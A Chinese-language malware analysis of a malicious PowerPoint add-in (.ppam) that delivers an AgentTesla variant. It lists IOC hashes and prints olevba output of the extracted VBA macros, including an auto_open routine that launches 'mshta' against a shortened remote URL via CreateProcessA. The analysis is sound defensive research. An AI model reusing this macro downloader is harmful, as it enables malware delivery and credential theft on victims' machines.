ppam文件

启用PowerPoint宏的Open XML加载项文件,包含添加附加功能的组件,包括额外的命令、自定义宏和用于扩展默认PowerPoint功能的新工具。

样本执行流程

例如
.ppam——PPT类启用宏代码格式 - 图1
当受害者打开“.ppam”文件,弹出个安全通知警告,提醒用户存在宏。一旦受害者启用宏,加载项就会在用户不知情的情况下安装。
下载的PowerShell文件中有两个二进制文件。第一个文件是充当加载程序的EXE文件,第二个文件是一个DLL文件,它是AgentTesla的变体。
PowerShell从命令行中提到的URL获取AgentTesla有效负载,对其进行解码,然后启动MSBuild.exe。

参考

《McAfree - Malicious PowerPoint Documents on the Rise》

IOCs

5DD8E58CDA10472119C7A9AD1F2ED6D7
19E8474080812900207A842B5C859D79
352A2BE04C1BDE8AFC6F1DC778E809F4
3E4584AD84C90649B39CB9AD49D190F8
D24AE8FC36EAFCF6BD35BBBDA832D58D

简单看看

image.png
image.png

禁用宏

没有任何东西

启用宏

Office2007中,文件并启用宏后,“视图-宏”是灰色的,此版本无法从软件层进行分析,考虑转二进制层提取:
image.png
*一开始不直接用静态提取工具的原因是,如果代码加了一些混淆和解密等反静态检测操作,宏代码需要通过运行还原出真实执行代码。
我一般会先试着从Office的宏功能查看和调试

解压

找不到专用工具,先解压看看,有一个长名bin文件,010看到是文档头“D0 CF 11 E0”:
image.png
*奇怪的是,用“tree /f”没有显示出这个文件,太长了?
image.png

oletools - olevba

用软件操作半天没搞出宏代码,用工具提:

  1. olevba ppam

image.png
image.png

  1. Flags Filename
  2. ----------- -----------------------------------------------------------------
  3. OpX:MAS-HB-- ppam
  4. ===============================================================================
  5. FILE: ppam
  6. Type: OpenXML
  7. -------------------------------------------------------------------------------
  8. VBA MACRO Class1.cls
  9. in file: ppt/asjdaaasdasdsdaasdsdasasdasddoasddasasddasasdsasdjasddasdoasjdasasd
  10. doajsdjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjja
  11. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  12. aaaaaaaaaaaaa.bin - OLE stream: u'VBA/Class1'
  13. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  14. Public date_borrowed As String
  15. Public date_due As String
  16. Public barcode As String
  17. -------------------------------------------------------------------------------
  18. VBA MACRO Module1.bas
  19. in file: ppt/asjdaaasdasdsdaasdsdasasdasddoasddasasddasasdsasdjasddasdoasjdasasd
  20. doajsdjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjja
  21. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  22. aaaaaaaaaaaaa.bin - OLE stream: u'VBA/Module1'
  23. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  24. Sub auto_open()
  25. Dim obj As New Class11
  26. obj.Procedurecall
  27. End Sub
  28. -------------------------------------------------------------------------------
  29. VBA MACRO Class2.cls
  30. in file: ppt/asjdaaasdasdsdaasdsdasasdasddoasddasasddasasdsasdjasddasdoasjdasasd
  31. doajsdjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjja
  32. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  33. aaaaaaaaaaaaa.bin - OLE stream: u'VBA/Class2'
  34. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  35. Option Explicit
  36. Private Type moneESS_CALL
  37. cb As Long
  38. lpReserved As String
  39. lpDesktop As String
  40. lpTitle As String
  41. dwX As Long
  42. dwY As Long
  43. dwXSize As Long
  44. dwYSize As Long
  45. dwXCountChars As Long
  46. dwYCountChars As Long
  47. dwFillAttribute As Long
  48. dwFlags As Long
  49. wShowWindow As Integer
  50. cbReserved2 As Integer
  51. lpReserved2 As Long
  52. hStdInput As Long
  53. hStdOutput As Long
  54. hStdError As Long
  55. End Type
  56. Private Type SYS_BREA
  57. hmoneess As Long
  58. hThread As Long
  59. dwmoneessID As Long
  60. dwThreadID As Long
  61. End Type
  62. Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As Long, ByVal lpCommandLine As String, ByVal lpmoneessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpmoneESS_CALL As moneESS_CALL, lpmoneessInformation As SYS_BREA) As Long
  63. Private Const NORMAL_PRIORITY_CLASS = &H20&
  64. Private Const INFINITE = -1&
  65. Public Sub SUSSYBAKA(cmdline As String)
  66. Dim mone As SYS_BREA
  67. Dim hone As moneESS_CALL
  68. Dim ReturnValue As Integer
  69. ' Initialize the moneESS_CALL structure:
  70. hone.cb = Len(hone)
  71. ' hone the shelled application:
  72. ReturnValue = CreateProcessA(0&, cmdline$, 0&, 0&, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, hone, mone)
  73. End Sub
  74. -------------------------------------------------------------------------------
  75. VBA MACRO Class11.cls
  76. in file: ppt/asjdaaasdasdsdaasdsdasasdasddoasddasasddasasdsasdjasddasdoasjdasasd
  77. doajsdjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjja
  78. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  79. aaaaaaaaaaaaa.bin - OLE stream: u'VBA/Class11'
  80. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  81. Public boba As String
  82. Public boba2 As String
  83. Public boba3 As String
  84. Public Sub Procedurecall()
  85. Dim arraymain(1 To 3) As New Class1
  86. For i = 1 To 3
  87. arraymain(i).barcode = "mshta "
  88. arraymain(i).date_borrowed = "https://www."
  89. arraymain(i).date_due = "bitly.com/asdhodwkodwkidwowdiahsidh"
  90. boba = arraymain(i).barcode
  91. bob2 = arraymain(i).date_borrowed
  92. bob3 = arraymain(i).date_due
  93. Next i
  94. Dim obj As New Class2
  95. obj.SUSSYBAKA (boba + bob2 + bob3)
  96. End Sub
  97. +------------+----------------+-----------------------------------------+
  98. | Type | Keyword | Description |
  99. +------------+----------------+-----------------------------------------+
  100. | AutoExec | Auto_Open | Runs when the Excel Workbook is opened |
  101. | Suspicious | Lib | May run code from a DLL |
  102. | Suspicious | Hex Strings | Hex-encoded strings were detected, may |
  103. | | | be used to obfuscate strings (option |
  104. | | | --decode to see all) |
  105. | Suspicious | Base64 Strings | Base64-encoded strings were detected, |
  106. | | | may be used to obfuscate strings |
  107. | | | (option --decode to see all) |
  108. +------------+----------------+-----------------------------------------+

主要代码

  1. CreateProcessA
  2. "mshta " "https://www." "bitly.com/asdhodwkodwkidwowdiahsidh"

OLE文件工具

oletools - OLE2文件提取工具